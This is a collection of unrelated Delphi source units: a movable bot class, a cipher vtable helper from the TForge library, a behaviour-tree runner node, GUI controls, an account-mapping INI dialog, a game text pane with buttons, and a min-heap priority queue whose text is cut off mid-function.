procedure BeforeMoving(ASteps: Integer); dynamic;
procedure AfterTurningOn; dynamic;
procedure BeforeTurningOff; dynamic;
public
constructor Create(const AName: string); virtual;
function ToString: string; override;
function GetActive: Boolean;
function GetLocation: TPoint;
function GetName: string;
function GetOrientation: TBotOrientation;
procedure GoHome();
procedure Move(ASteps: Integer = 1);
procedure Rotate(AOrientation: TBotOrientation);
procedure TurnOn();
procedure TurnOff();
end;
implementation
{ TBot }
constructor TBot.Create(const AName: string);
begin
inherited Create;
FLocation := TPoint.Zero;
FName := AName;
FOrientation := TBotOrientation.North;
end;
procedure TBot.AfterMoving(ASteps: Integer);
begin
end;
procedure TBot.AfterTurningOn;
begin
end;
procedure TBot.BeforeMoving(ASteps: Integer);
begin
end;
procedure TBot.BeforeTurningOff;
begin
end;
function TBot.GetActive: Boolean;
begin
Result := FActive;
end;
function TBot.GetLocation: TPoint;
begin
Result := FLocation;
end;
function TBot.GetName: string;
begin
Result := FName;
end;
function TBot.GetOrientation: TBotOrientation;
begin
Result := FOrientation;
end;
procedure TBot.GoHome;
begin
if not FActive then
Exit;
FLocation := TPoint.Zero;
end;
procedure TBot.Move(ASteps: Integer);
begin
if not FActive then
Exit;
BeforeMoving(ASteps);
case FOrientation of
North:
FLocation.Offset(0, -ASteps);
South:
FLocation.Offset(0, +ASteps);
West:
FLocation.Offset(-ASteps, 0);
East:
FLocation.Offset(+ASteps, 0);
end;
AfterMoving(ASteps);
end;
procedure TBot.Rotate(AOrientation: TBotOrientation);
begin
if not FActive then
Exit;
FOrientation := AOrientation;
end;
function TBot.ToString: string;
begin
Result := Format('%s: A=%d, X=%d, Y=%d, O=%s', [FName, FActive.ToInteger,
FLocation.X, FLocation.Y, TRttiEnumerationType.GetName(FOrientation)]);
end;
procedure TBot.TurnOff;
begin
if not FActive then
Exit;
BeforeTurningOff;
FActive := False;
end;
procedure TBot.TurnOn;
begin
if FActive then
Exit;
FActive := True;
AfterTurningOn;
end;
end.
|
{
TForge Library
Copyright (c) Sergey Kasandrov 1997, 2018
-------------------------------------------------------
# engine tricks with ICipher interface must be implemented
as inline static class methods of TCipherHelper
# exports inlined functions
}
unit tfCipherHelpers;
{$I TFL.inc}
interface
uses
tfTypes;
type
TCipherHelper = record
public const
VTableSize = 30;
public type
TVTable = array[0..VTableSize - 1] of Pointer;
PVTable = ^TVTable;
PPVTable = ^PVTable;
TBlock = array[0..TF_MAX_CIPHER_BLOCK_SIZE - 1] of Byte;
TGetBlockSizeFunc = function(Inst: Pointer): Integer;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF}
TBlockFunc = function(Inst: Pointer; Data: PByte): TF_RESULT;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF}
TGetKeyStreamFunc = function(Inst: Pointer;
Data: PByte; DataSize: Cardinal): TF_RESULT;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF}
TExpandKeyFunc = function(Inst: Pointer;
Key: Pointer; KeySize: Cardinal): TF_RESULT;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF}
TExpandKeyIVFunc = function(Inst: Pointer;
Key: Pointer; KeySize: Cardinal; IV: Pointer; IVSize: Cardinal): TF_RESULT;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF}
TExpandKeyNonceFunc = function(Inst: Pointer;
Key: Pointer; KeySize: Cardinal; Nonce: TNonce): TF_RESULT;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF}
TIncBlockNoFunc = function(Inst: Pointer; Count: UInt64): Integer;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF}
TSetNonceFunc = function(Inst: Pointer; Nonce: TNonce): Integer;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF}
public
class function ExpandKey(Inst: Pointer; Key: Pointer;
KeySize: Cardinal): TF_RESULT; static; inline;
class function ExpandKeyIV(Inst: Pointer; Key: Pointer; KeySize: Cardinal;
IV: Pointer; IVSize: Cardinal): TF_RESULT; static; inline;
class function GetBlockSize(Inst: Pointer): Integer; static; inline;
class function IncBlockNo(Inst: Pointer; Count: UInt64): TF_RESULT; static; inline;
class function DecBlockNo(Inst: Pointer; Count: UInt64): TF_RESULT; static; inline;
class function SetIV(Inst: Pointer; IV: Pointer; IVSize: Cardinal): TF_RESULT; static; inline;
class function SetNonce(Inst: Pointer; Nonce: TNonce): TF_RESULT; static; inline;
class function EncryptBlock(Inst: Pointer; Data: Pointer): TF_RESULT; static; inline;
class function DecryptBlock(Inst: Pointer; Data: Pointer): TF_RESULT; static; inline;
class function GetEncryptBlockFunc(Inst: Pointer): Pointer; static; inline;
class function GetDecryptBlockFunc(Inst: Pointer): Pointer; static; inline;
class function GetKeyStreamFunc(Inst: Pointer): Pointer; static; inline;
class function GetKeyBlockFunc(Inst: Pointer): Pointer; static; inline;
end;
implementation
const
// INDEX_BURN = 3; moved to tfHelpers
// INDEX_CLONE = 4;
INDEX_EXPANDKEY = 5;
INDEX_EXPANDKEYIV = 6;
INDEX_EXPANDKEYNONCE = 7;
INDEX_GETBLOCKSIZE = 8;
INDEX_ENCRYPTUPDATE = 9;
INDEX_DECRYPTUPDATE = 10;
INDEX_ENCRYPTBLOCK = 11;
INDEX_DECRYPTBLOCK = 12;
INDEX_GETKEYBLOCK = 13;
INDEX_GETKEYSTREAM = 14;
INDEX_ENCRYPT = 15;
INDEX_DECRYPT = 16;
INDEX_GETISBLOCKCIPHER = 17;
INDEX_INCBLOCKNO = 18;
INDEX_DECBLOCKNO = 19;
INDEX_SKIP = 20;
INDEX_SETIV = 21;
INDEX_SETNONCE = 22;
INDEX_GETIV = 23;
INDEX_GETNONCE = 24;
INDEX_GETIVPTR = 25;
{ TCipherHelper }
class function TCipherHelper.GetBlockSize(Inst: Pointer): Integer;
begin
Result:= TGetBlockSizeFunc(PPVTable(Inst)^^[INDEX_GETBLOCKSIZE])(Inst);
end;
class function TCipherHelper.IncBlockNo(Inst: Pointer; Count: UInt64): TF_RESULT;
begin
Result:= TIncBlockNoFunc(PPVTable(Inst)^^[INDEX_INCBLOCKNO])(Inst, Count);
end;
class function TCipherHelper.SetIV(Inst: Pointer; IV: Pointer; IVSize: Cardinal): TF_RESULT;
begin
Result:= TExpandKeyFunc(PPVTable(Inst)^^[INDEX_SETIV])(Inst, IV, IVSize);
end;
class function TCipherHelper.SetNonce(Inst: Pointer; Nonce: TNonce): TF_RESULT;
begin
Result:= TSetNonceFunc(PPVTable(Inst)^^[INDEX_SETNONCE])(Inst, Nonce);
end;
class function TCipherHelper.DecBlockNo(Inst: Pointer; Count: UInt64): TF_RESULT;
begin
Result:= TIncBlockNoFunc(PPVTable(Inst)^^[INDEX_DECBLOCKNO])(Inst, Count);
end;
class function TCipherHelper.DecryptBlock(Inst, Data: Pointer): TF_RESULT;
begin
Result:= TBlockFunc(PPVTable(Inst)^^[INDEX_DECRYPTBLOCK])(Inst, Data);
end;
class function TCipherHelper.EncryptBlock(Inst, Data: Pointer): TF_RESULT;
begin
Result:= TBlockFunc(PPVTable(Inst)^^[INDEX_ENCRYPTBLOCK])(Inst, Data);
end;
class function TCipherHelper.ExpandKey(Inst: Pointer; Key: Pointer; KeySize: Cardinal): TF_RESULT;
begin
Result:= TExpandKeyFunc(PPVTable(Inst)^^[INDEX_EXPANDKEY])(Inst, Key, KeySize);
end;
class function TCipherHelper.ExpandKeyIV(Inst, Key: Pointer; KeySize: Cardinal;
IV: Pointer; IVSize: Cardinal): TF_RESULT;
begin
Result:= TExpandKeyIVFunc(PPVTable(Inst)^^[INDEX_EXPANDKEYIV])(Inst, Key, KeySize, IV, IVSize);
end;
class function TCipherHelper.GetEncryptBlockFunc(Inst: Pointer): Pointer;
begin
Result:= PPVTable(Inst)^^[INDEX_ENCRYPTBLOCK];
end;
class function TCipherHelper.GetDecryptBlockFunc(Inst: Pointer): Pointer;
begin
Result:= PPVTable(Inst)^^[INDEX_DECRYPTBLOCK];
end;
class function TCipherHelper.GetKeyStreamFunc(Inst: Pointer): Pointer;
begin
Result:= PPVTable(Inst)^^[INDEX_GETKEYSTREAM];
end;
class function TCipherHelper.GetKeyBlockFunc(Inst: Pointer): Pointer;
begin
Result:= PPVTable(Inst)^^[INDEX_GETKEYBLOCK];
end;
end.
|
{ behavior3delphi - a Behavior3 client library (Behavior Trees) for Delphi
by Dennis D. Spreen <dennis@spreendigital.de>
see Behavior3.pas header for full license information }
unit Behavior3.Actions.Runner;
interface
uses
Behavior3, Behavior3.Core.Action, Behavior3.Core.BaseNode, Behavior3.Core.Tick;
type
(**
* This action node returns RUNNING always.
*
* @module b3
* @class Error
* @extends Action
**)
TB3Runner = class(TB3Action)
public
constructor Create; override;
(**
* Tick method.
* @method tick
* @param {Tick} tick A tick instance.
* @return {Constant} Always return `b3.RUNNING`.
**)
function Tick(Tick: TB3Tick): TB3Status; override;
end;
implementation
{ TB3Runner }
constructor TB3Runner.Create;
begin
inherited;
(**
* Node name. Default to `Runner`.
* @property {String} name
* @readonly
**)
Name := 'Runner';
end;
function TB3Runner.Tick(Tick: TB3Tick): TB3Status;
begin
Result := Behavior3.Running;
end;
end.
|
Unit H2Edit;
Interface
Uses
Messages,Windows, Classes,Controls, ExtCtrls, SysUtils,GR32_Image,GR32,gr32_layers,Graphics;
Type
TH2Edit = Class(TControl)
Private
fcaption:String;
fx,
fy,
fwidth,
fheight:Integer;
fvisible:Boolean;
ffont:tfont;
fbitmap:tbitmaplayer;
fdrawmode:tdrawmode;
falpha:Cardinal;
Procedure SetCaption(NewCaption:String);
Procedure SetFont(font:tfont);
Procedure Setvisible(value:Boolean);
Public
Constructor Create(AOwner: TComponent); Override;
Destructor Destroy; Override;
Published
Property Caption:String Read fcaption Write Setcaption;
Property Font:tfont Read ffont Write setfont;
Property Alpha:Cardinal Read falpha Write falpha;
Property DrawMode:tdrawmode Read fdrawmode Write fdrawmode;
Property X:Integer Read fx Write fx;
Property Y:Integer Read fy Write fy;
Property Bitmap:tbitmaplayer Read fbitmap Write fbitmap;
Property Visible:Boolean Read fvisible Write setvisible;
Property OnMouseDown;
Property OnMouseMove;
Property OnMouseUp;
Property OnClick;
Property OnDblClick;
End;
Implementation
{ TH2Edit }
Constructor TH2Edit.Create(AOwner: TComponent);
Var
L: TFloatRect;
alayer:tbitmaplayer;
Begin
Inherited Create(AOwner);
fbitmap:=TBitmapLayer.Create((aowner As timage32).Layers);
ffont:=tfont.Create;
fcaption:='';
fdrawmode:=dmblend;
falpha:=255;
fvisible:=True;
fx:=0;
fy:=0;
fwidth:=100;
fheight:=100;
fbitmap.Bitmap.Width:=fwidth;
fbitmap.Bitmap.Height:=fheight;
l.Left:=fx;
l.Top:=fy;
l.Right:=fx+fwidth;
l.Bottom:=fy+fheight;
fbitmap.Location:=l;
fbitmap.Tag:=0;
fbitmap.Bitmap.DrawMode:=fdrawmode;
fbitmap.Bitmap.MasterAlpha:=falpha;
fvisible:=True;
End;
Destructor TH2Edit.Destroy;
Begin
//here
ffont.Free;
fbitmap.Free;
Inherited Destroy;
End;
Procedure TH2Edit.SetCaption(NewCaption: String);
Var
Color: Longint;
r, g, b: Byte;
L: TFloatRect;
Begin
//caption:=newcaption;
fcaption:=newcaption;
fbitmap.Bitmap.Clear($000000);
fbitmap.Bitmap.Font.Assign(ffont);
Color := ColorToRGB(ffont.Color);
r := Color;
g := Color Shr 8;
b := Color Shr 16;
fbitmap.Bitmap.Width:=fbitmap.Bitmap.TextWidth(fcaption);
fbitmap.Bitmap.height:=fbitmap.Bitmap.TextHeight(fcaption);
fBitmap.bitmap.RenderText(0,0,fcaption,0,color32(r,g,b,falpha));
l.Left:=fx;
l.Right:=fx+fbitmap.Bitmap.Width;
l.Top :=fy;
l.Bottom:=fy+fbitmap.Bitmap.height;
fbitmap.Location:=l;
End;
Procedure TH2Edit.SetFont(font: tfont);
Begin
ffont.Assign(font);
End;
Procedure TH2Edit.Setvisible(value: Boolean);
Begin
fbitmap.Visible:=value;
End;
End.
|
unit TRotateImageData;
interface
uses
System.SysUtils, System.Classes, FMX.Types, FMX.Controls, FMX.Layouts,
FMX.Edit, FMX.StdCtrls, FMX.Clipboard, FMX.Platform, FMX.Objects,
System.Types, StrUtils, FMX.Dialogs;
type
TRotateImage = class(TImage)
private
timer: TThread;
isOn: boolean;
protected
public
constructor Create(AOwner: TComponent); Override;
procedure Start();
procedure Stop();
destructor Destroy(); override;
published
end;
procedure Register;
implementation
uses uhome;
procedure Register;
begin
RegisterComponents('Samples', [TRotateImage]);
end;
destructor TRotateImage.destroy();
begin
stop();
if isOn then
timer.WaitFor;
inherited;
end;
procedure TRotateImage.Start();
begin
if isOn then
exit;
isOn := true;
timer := TThread.CreateAnonymousThread(
procedure
var
i: Integer;
begin
while isOn do
begin
TThread.Synchronize(nil,
procedure
begin
AnimateFloat('RotationAngle', RotationAngle + 180, 1);
end);
for i := 0 to 10 do
begin
if not ison then
break;
sleep(100);
end;
//sleep(1000);
end;
end);
timer.FreeOnTerminate := true;
timer.Start;
end;
procedure TRotateImage.Stop();
begin
isOn := false;
end;
constructor TRotateImage.Create(AOwner: TComponent);
var
Stream: TResourceStream;
begin
inherited Create(AOwner);
// Bitmap.LoadFromStream();
Stream := TResourceStream.Create(HInstance, 'RELOAD_IMAGE', RT_RCDATA);
try
Bitmap.LoadFromStream(Stream);
finally
Stream.Free;
end;
end;
end.
|
unit MapeoCtas;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, Grids, ValEdit, IniFiles, wwDialog, wwidlg, Data.DB;
const
ctCuentas = 'Cuentas.dat';
ctSeccion = 'CUENTAS';
type
TMapeoCtasDlg = class(TForm)
editor: TValueListEditor;
Label1: TLabel;
btnCerrar: TBitBtn;
btnGrabar: TBitBtn;
Look: TwwLookupDialog;
procedure btnCerrarClick(Sender: TObject);
procedure btnGrabarClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure editorEditButtonClick(Sender: TObject);
procedure editorGetEditMask(Sender: TObject; ACol, ARow: Integer;
var Value: String);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
FIni: TIniFile;
FArchivo: string;
procedure GrabarDatos;
function detectar_carpeta: string;
public
{ Public declarations }
end;
var
MapeoCtasDlg: TMapeoCtasDlg;
implementation
uses
DM;
{$R *.dfm}
procedure TMapeoCtasDlg.btnCerrarClick(Sender: TObject);
begin
if MessageDlg( 'Anula cambios?', mtWarning, [mbYes, mbno], 0 ) <> mrNo then
close;
end;
procedure TMapeoCtasDlg.btnGrabarClick(Sender: TObject);
begin
GrabarDatos;
end;
function TMapeoCtasDlg.detectar_carpeta: string;
var
campo: TField;
begin
Result := '';
with DMod do
try
TDatos.Open;
campo := TDatos.FindField('RutaEmpresa');
if (campo<>nil) and (TDatos.FieldByName('RutaEmpresa').Value <>null ) and (TDatos.FieldByName('RutaEmpresa').Value <> '') then
Result := TDatos.FieldByName('RutaEmpresa').Value;
finally
TDatos.Close;
end;
end;
procedure TMapeoCtasDlg.FormClose(Sender: TObject; var Action: TCloseAction);
begin
DMod.SelCta.close;
end;
procedure TMapeoCtasDlg.FormCreate(Sender: TObject);
var
i: integer;
FEmpresa: string;
begin
DMod.SelCta.Open;
FEmpresa := detectar_carpeta;
FArchivo := ExtractFilePath( Application.ExeName ) + '\conf\' + FEmpresa + '_' + ctCuentas;
if not FileExists( FArchivo ) then
GrabarDatos;
FIni := TInifile.Create( FArchivo);
for i:=1 to editor.RowCount-1 do
begin
editor.Values[ Editor.Keys[i]] := FIni.ReadString( ctSeccion, Editor.Keys[i], editor.Values[editor.Keys[i]]);
editor.itemprops[i-1].editstyle := esEllipsis;
end;
FIni.Free;
end;
procedure TMapeoCtasDlg.GrabarDatos;
var
i: integer;
begin
FIni := TInifile.Create( FArchivo);
FIni.EraseSection( ctSeccion );
for i:=1 to editor.RowCount-1 do
FIni.WriteString( ctSeccion, Editor.Keys[i], Editor.Values[Editor.Keys[i]]);
FIni.Free;
end;
procedure TMapeoCtasDlg.editorEditButtonClick(Sender: TObject);
begin
if look.Execute then
editor.Values[editor.Keys[editor.row]] := Dmod.SelCtaCuenta.Value;
end;
procedure TMapeoCtasDlg.editorGetEditMask(Sender: TObject; ACol,
ARow: Integer; var Value: String);
begin
value := 'cccc';
end;
end.
|
unit f2TextPane;
interface
uses
d2dTypes,
d2dFont,
d2dFormattedText,
d2dGUITypes,
d2dGUI,
d2dGUITextPane,
d2dGUIButtons
;
type
Tf2ButtonSlice = class(Td2dCustomSlice)
private
f_Align: Td2dTextAlignType;
f_Frame : Id2dFramedButtonView;
f_Caption: string;
f_DispCaption: string;
f_Height: Single;
f_State: Td2dButtonState;
f_BWidth: Integer;
function pm_GetFrameHeight: Single;
function pm_GetRect: Td2dRect;
procedure pm_SetBWidth(const Value: Integer);
protected
function pm_GetHeight: Single; override;
function pm_GetWidth: Single; override;
procedure DoDraw(X, Y: Single); override;
public
constructor Create(aFrame: Id2dFramedButtonView; aCaption: string; aAlign: Td2dTextAlignType);
function IsInButton(aX, aY: Single): Boolean;
property Align: Td2dTextAlignType read f_Align;
property Caption: string read f_Caption;
property State: Td2dButtonState read f_State write f_State;
property BWidth: Integer read f_BWidth write pm_SetBWidth;
property FrameHeight: Single read pm_GetFrameHeight;
property Rect: Td2dRect read pm_GetRect;
end;
Tf2ButtonActionEvent = procedure(aButtonIdx: Integer) of object;
Tf2TextPane = class(Td2dTextPane)
private
f_ButtonAlign: Td2dTextAlignType;
f_ButtonCount: Integer;
f_ButtonsEnabled: Boolean;
f_ButtonTextAlign: Td2dTextAlignType;
f_FirstButtonPara: Integer;
f_FocusedButton: Integer;
f_Frame: Id2dFramedButtonView;
f_OnButtonAction: Tf2ButtonActionEvent;
f_MaxButtonWidth: Integer;
f_NumberedButtons: Boolean;
procedure CheckFocusedButton(var theEvent: Td2dInputEvent);
procedure DoButtonAction; overload;
procedure DoButtonAction(aButtonNo: Integer); overload;
function GetButtonAtMouse: Integer;
procedure MakeSureFocusedIsVisible;
function pm_GetButtonCaption(Index: Integer): string;
function pm_GetButtonScreenRect(Index: Integer): Td2dRect;
function pm_GetButtonSlice(aButtonIndex: Integer): Tf2ButtonSlice;
procedure pm_SetButtonsEnabled(const Value: Boolean);
procedure pm_SetFocusedButton(const Value: Integer);
procedure RealignButtons;
procedure UpdateButtonsState;
protected
procedure pm_SetState(const Value: Td2dTextPaneState); override;
procedure Scroll(aDelta: Single); override;
property ButtonSlice[Index: Integer]: Tf2ButtonSlice read pm_GetButtonSlice;
public
constructor Create(aX, aY, aWidth, aHeight: Single; aFrame: Id2dFramedButtonView);
procedure AddButton(aCaption: string);
procedure ClearAll; override;
procedure ClearButtons;
procedure ProcessEvent(var theEvent: Td2dInputEvent); override;
property ButtonAlign: Td2dTextAlignType read f_ButtonAlign write f_ButtonAlign;
property ButtonCaption[Index: Integer]: string read pm_GetButtonCaption;
property ButtonCount: Integer read f_ButtonCount;
property ButtonScreenRect[Index: Integer]: Td2dRect read pm_GetButtonScreenRect;
property ButtonsEnabled: Boolean read f_ButtonsEnabled write pm_SetButtonsEnabled;
property ButtonTextAlign: Td2dTextAlignType read f_ButtonTextAlign write f_ButtonTextAlign;
property FocusedButton: Integer read f_FocusedButton write pm_SetFocusedButton;
property NumberedButtons: Boolean read f_NumberedButtons write f_NumberedButtons;
property OnButtonAction: Tf2ButtonActionEvent read f_OnButtonAction write f_OnButtonAction;
end;
implementation
uses
SysUtils,
d2dCore,
d2dUtils;
constructor Tf2ButtonSlice.Create(aFrame : Id2dFramedButtonView;
aCaption: string;
aAlign : Td2dTextAlignType);
begin
inherited Create;
f_Frame := aFrame;
f_Caption := aCaption;
f_DispCaption := f_Caption;
f_BWidth := f_Frame.CalcWidth(f_Caption);
f_Frame.CorrectWidth(f_BWidth);
f_Height := f_Frame.Height;
f_State := bsNormal;
f_Align := aAlign;
end;
procedure Tf2ButtonSlice.DoDraw(X, Y: Single);
begin
f_Frame.Render(X, Y, f_DispCaption, f_State, f_BWidth, f_Align);
end;
function Tf2ButtonSlice.IsInButton(aX, aY: Single): Boolean;
begin
Result := D2DIsPointInRect(aX, aY, Rect);
end;
function Tf2ButtonSlice.pm_GetFrameHeight: Single;
begin
Result := f_Frame.Height;
end;
function Tf2ButtonSlice.pm_GetHeight: Single;
begin
Result := f_Height;
end;
function Tf2ButtonSlice.pm_GetRect: Td2dRect;
begin
Result := D2DRect(AbsLeft, AbsTop, AbsLeft + Width, AbsTop + Height);
end;
function Tf2ButtonSlice.pm_GetWidth: Single;
begin
Result := f_BWidth;
end;
procedure Tf2ButtonSlice.pm_SetBWidth(const Value: Integer);
begin
f_BWidth := Value;
f_DispCaption := f_Frame.CorrectCaption(f_Caption, f_BWidth);
end;
constructor Tf2TextPane.Create(aX, aY, aWidth, aHeight: Single;
aFrame: Id2dFramedButtonView);
begin
inherited Create(aX, aY, aWidth, aHeight);
f_Frame := aFrame;
f_FirstButtonPara := -1;
f_ButtonAlign := ptLeftAligned;
f_ButtonTextAlign := ptLeftAligned;
end;
procedure Tf2TextPane.AddButton(aCaption: string);
var
l_BS: Tf2ButtonSlice;
I: Integer;
begin
if f_FirstButtonPara < 0 then
f_FirstButtonPara := ParaCount;
Inc(f_ButtonCount);
if f_NumberedButtons and (f_ButtonCount < 10) then
aCaption := Format('%d. %s', [f_ButtonCount, aCaption]);
l_BS := Tf2ButtonSlice.Create(f_Frame, aCaption, f_ButtonTextAlign);
if l_BS.BWidth > Width then
l_BS.BWidth := Trunc(Width);
AddPara(l_BS);
if f_ButtonCount = 1 then
begin
ButtonSlice[1].State := bsFocused;
f_FocusedButton := 1;
f_MaxButtonWidth := ButtonSlice[1].BWidth;
end
else
begin
if ButtonSlice[ButtonCount].BWidth > f_MaxButtonWidth then
begin
f_MaxButtonWidth := ButtonSlice[ButtonCount].BWidth;
for I := 1 to ButtonCount do
ButtonSlice[I].BWidth := f_MaxButtonWidth;
end
else
ButtonSlice[ButtonCount].BWidth := f_MaxButtonWidth;
end;
//DocRoot.RecalcHeight;
RealignButtons;
gD2DE.Input_TouchMousePos;
//CheckFocusedButton;
end;
procedure Tf2TextPane.CheckFocusedButton(var theEvent: Td2dInputEvent);
var
l_Button: Integer;
begin
l_Button := GetButtonAtMouse;
if (l_Button > 0) and not IsMouseMoveMasked(theEvent) then
begin
FocusedButton := l_Button;
MaskMouseMove(theEvent);
end;
end;
procedure Tf2TextPane.ClearAll;
begin
ClearButtons;
inherited ClearAll;
end;
procedure Tf2TextPane.ClearButtons;
begin
if f_ButtonCount > 0 then
begin
ClearFromPara(f_FirstButtonPara);
f_FirstButtonPara := -1;
f_ButtonCount := 0;
f_FocusedButton := 0;
f_MaxButtonWidth := 0;
end;
//DocRoot.RecalcHeight;
end;
procedure Tf2TextPane.DoButtonAction;
begin
if Assigned(f_OnButtonAction) then
f_OnButtonAction(FocusedButton);
end;
procedure Tf2TextPane.DoButtonAction(aButtonNo: Integer);
begin
if Assigned(f_OnButtonAction) and (aButtonNo > 0) and (aButtonNo <= f_ButtonCount) then
f_OnButtonAction(aButtonNo);
end;
function Tf2TextPane.GetButtonAtMouse: Integer;
var
l_InX: Single;
l_InY: Single;
I: Integer;
begin
Result := 0;
if IsMouseInControl then
begin
l_InX := gD2DE.MouseX - X;
l_InY := gD2DE.MouseY - Y + ScrollShift;
for I := 1 to ButtonCount do
if IsSliceVisible(ButtonSlice[I]) then
if ButtonSlice[I].IsInButton(l_InX, l_InY) then
begin
Result := I;
Break;
end;
end;
end;
procedure Tf2TextPane.MakeSureFocusedIsVisible;
var
l_ButtonPara: Td2dCustomSlice;
begin
l_ButtonPara := GetPara(f_FirstButtonPara + f_FocusedButton - 1);
if l_ButtonPara.Top < ScrollShift then
ScrollTo(l_ButtonPara.Top, ScrollSpeed)
else
if l_ButtonPara.Top + l_ButtonPara.Height > ScrollShift + Height then
ScrollTo(l_ButtonPara.Top + l_ButtonPara.Height - Height, ScrollSpeed);
end;
function Tf2TextPane.pm_GetButtonCaption(Index: Integer): string;
begin
Result := ButtonSlice[Index].Caption;
end;
function Tf2TextPane.pm_GetButtonScreenRect(Index: Integer): Td2dRect;
begin
Result := D2DMoveRect(ButtonSlice[Index].Rect, X, Y - ScrollShift);
end;
function Tf2TextPane.pm_GetButtonSlice(aButtonIndex: Integer): Tf2ButtonSlice;
begin
Result := Tf2ButtonSlice(GetPara(f_FirstButtonPara + aButtonIndex - 1));
end;
procedure Tf2TextPane.pm_SetButtonsEnabled(const Value: Boolean);
var
I: Integer;
begin
if Value <> f_ButtonsEnabled then
begin
f_ButtonsEnabled := Value;
if f_ButtonsEnabled then
begin
for I := 1 to ButtonCount do
if I = FocusedButton then
ButtonSlice[I].State := bsFocused
else
ButtonSlice[I].State := bsNormal;
end
else
for I := 1 to ButtonCount do
ButtonSlice[I].State := bsDisabled;
end;
end;
procedure Tf2TextPane.pm_SetFocusedButton(const Value: Integer);
begin
if not f_ButtonsEnabled then
Exit;
if f_FocusedButton > 0 then
ButtonSlice[f_FocusedButton].State := bsNormal;
f_FocusedButton := Value;
ButtonSlice[f_FocusedButton].State := bsFocused;
MakeSureFocusedIsVisible;
end;
procedure Tf2TextPane.pm_SetState(const Value: Td2dTextPaneState);
begin
inherited;
UpdateButtonsState;
end;
procedure Tf2TextPane.ProcessEvent(var theEvent: Td2dInputEvent);
var
l_Button: Integer;
begin
inherited;
if IsProcessed(theEvent) then
Exit;
if (State = tpsIdle) and (ButtonCount > 0) then
begin
if (theEvent.EventType = INPUT_KEYDOWN) then
begin
if (theEvent.KeyCode = D2DK_DOWN) and (FocusedButton < ButtonCount) then
begin
FocusedButton := FocusedButton + 1;
Processed(theEvent);
end;
if (theEvent.KeyCode = D2DK_UP) and (FocusedButton > 1) then
begin
FocusedButton := FocusedButton - 1;
Processed(theEvent);
end;
if (theEvent.KeyCode in [D2DK_ENTER, D2DK_SPACE]) then
begin
DoButtonAction;
Processed(theEvent);
end;
if f_NumberedButtons and (theEvent.KeyCode in [D2DK_1..D2DK_9]) then
begin
DoButtonAction(theEvent.KeyCode - D2DK_1 + 1);
Processed(theEvent);
end;
if f_NumberedButtons and (theEvent.KeyCode in [D2DK_NUMPAD1..D2DK_NUMPAD9]) then
begin
DoButtonAction(theEvent.KeyCode - D2DK_NUMPAD1 + 1);
Processed(theEvent);
end;
end;
if (theEvent.EventType = INPUT_MOUSEMOVE) then
CheckFocusedButton(theEvent);
if (theEvent.EventType = INPUT_MBUTTONDOWN) and (theEvent.KeyCode = D2DK_LBUTTON) then
begin
l_Button := GetButtonAtMouse;
if l_Button > 0 then
begin
DoButtonAction;
Processed(theEvent);
end;
end;
end;
end;
procedure Tf2TextPane.RealignButtons;
var
I: Integer;
l_BS: Tf2ButtonSlice;
l_Left: Single;
begin
if f_ButtonCount > 0 then
begin
case f_ButtonAlign of
ptLeftAligned : l_Left := 0;
ptRightAligned : l_Left := Self.Width - f_MaxButtonWidth;
ptCentered :
if Self.Width = f_MaxButtonWidth then
l_Left := 0
else
l_Left := Round((Self.Width - f_MaxButtonWidth) / 2);
end;
for I := 1 to f_ButtonCount do
ButtonSlice[I].Left := l_Left;
end;
end;
procedure Tf2TextPane.Scroll(aDelta: Single);
begin
inherited Scroll(aDelta);
gD2DE.Input_TouchMousePos;
//CheckFocusedButton;
end;
procedure Tf2TextPane.UpdateButtonsState;
begin
ButtonsEnabled := State = tpsIdle;
end;
end. |
unit PPriorityQ;
interface
uses
sysutils, Generics.Collections, PPlaceRoad,Vcl.Dialogs;
type
TMinHeap = class
protected
MinHeap: TObjectList<TPlace>; // list of TPlace
function GetCount: integer;
public
constructor Create(List: TObjectList<TPlace>);
destructor Destroy;
procedure Build_Heap;
procedure Print;
procedure BubbleUp(i,n: integer);
procedure DecreaseKey(v: integer; new: integer);
procedure Update(newDist: integer; name,NewParent: string;Map: TObjectList<TPlace>);
procedure extract_mini(u: TPlace);
procedure Insert(Name:string;Map:TObjectList<TPlace>);
procedure RemovePlace(Name:string;Map:TObjectList<TPlace>);
function ContainsPlace(Place:string;List:TObjectList<TPlace>):boolean;
function GetPlace(name: string;Map: TObjectList<TPlace>): TPlace;
function FindIndex(p: TPlace): integer;
function isEmpty: boolean;
property Count: integer read GetCount;
end;
implementation
{ TMinHeap }
procedure TMinHeap.Insert(Name:string;Map:TObjectList<TPlace>);
//inserts a place into the correct place in the heap
var
i:integer;
begin
if not ContainsPlace(Name,MinHeap) then
begin
MinHeap.Add(GetPlace(Name,Map));
for i := 0 to Map.Count-1 do
begin
if (Map.Items[i].Neighbours.Count =1) and (Map.Items[i].Neighbours[0] = Name) then
//check if the place has orphaned any other places that need to be added again
MinHeap.Add(GetPlace(Map.Items[i].GetName,Map));
end;
Build_Heap;
end
else
Showmessage('Place is already in the map or does not exist');
end;
function TMinHeap.isEmpty: boolean;
//checks and returns whether the heap is empty
begin
if MinHeap.Count = 0 then
result := true
else
result := false;
end;
procedure TMinHeap.Build_Heap;
//Builds the heap by reordering it
var
n, i: integer;
begin
n := Count;
for i := (n - 1) div 2 downto 0 do
BubbleUp(i, n);
end;
function TMinHeap.ContainsPlace(Place:string;List:TObjectList<TPlace>):boolean;
var
i:integer;
begin
result:=false;
for i := 0 to List.Count -1 do
begin
if List.Items[i].GetName = Place then
begin
result := True;
end;
end;
end;
constructor TMinHeap.Create(List: TObjectList<TPlace>);
var
i: Integer;
// initialises and fills the list
begin
MinHeap := TObjectList<TPlace>.Create(true);
for i := 0 to List.Count -1 do
begin
MinHeap.Add(List.List[i]);
end;
Build_Heap;
end;
procedure TMinHeap.DecreaseKey(v: integer; new: integer);
// Decreases the distance value of an item in the list
begin
if new > MinHeap.Items[v].GetDist then
showmessage('Error: new key value too large');
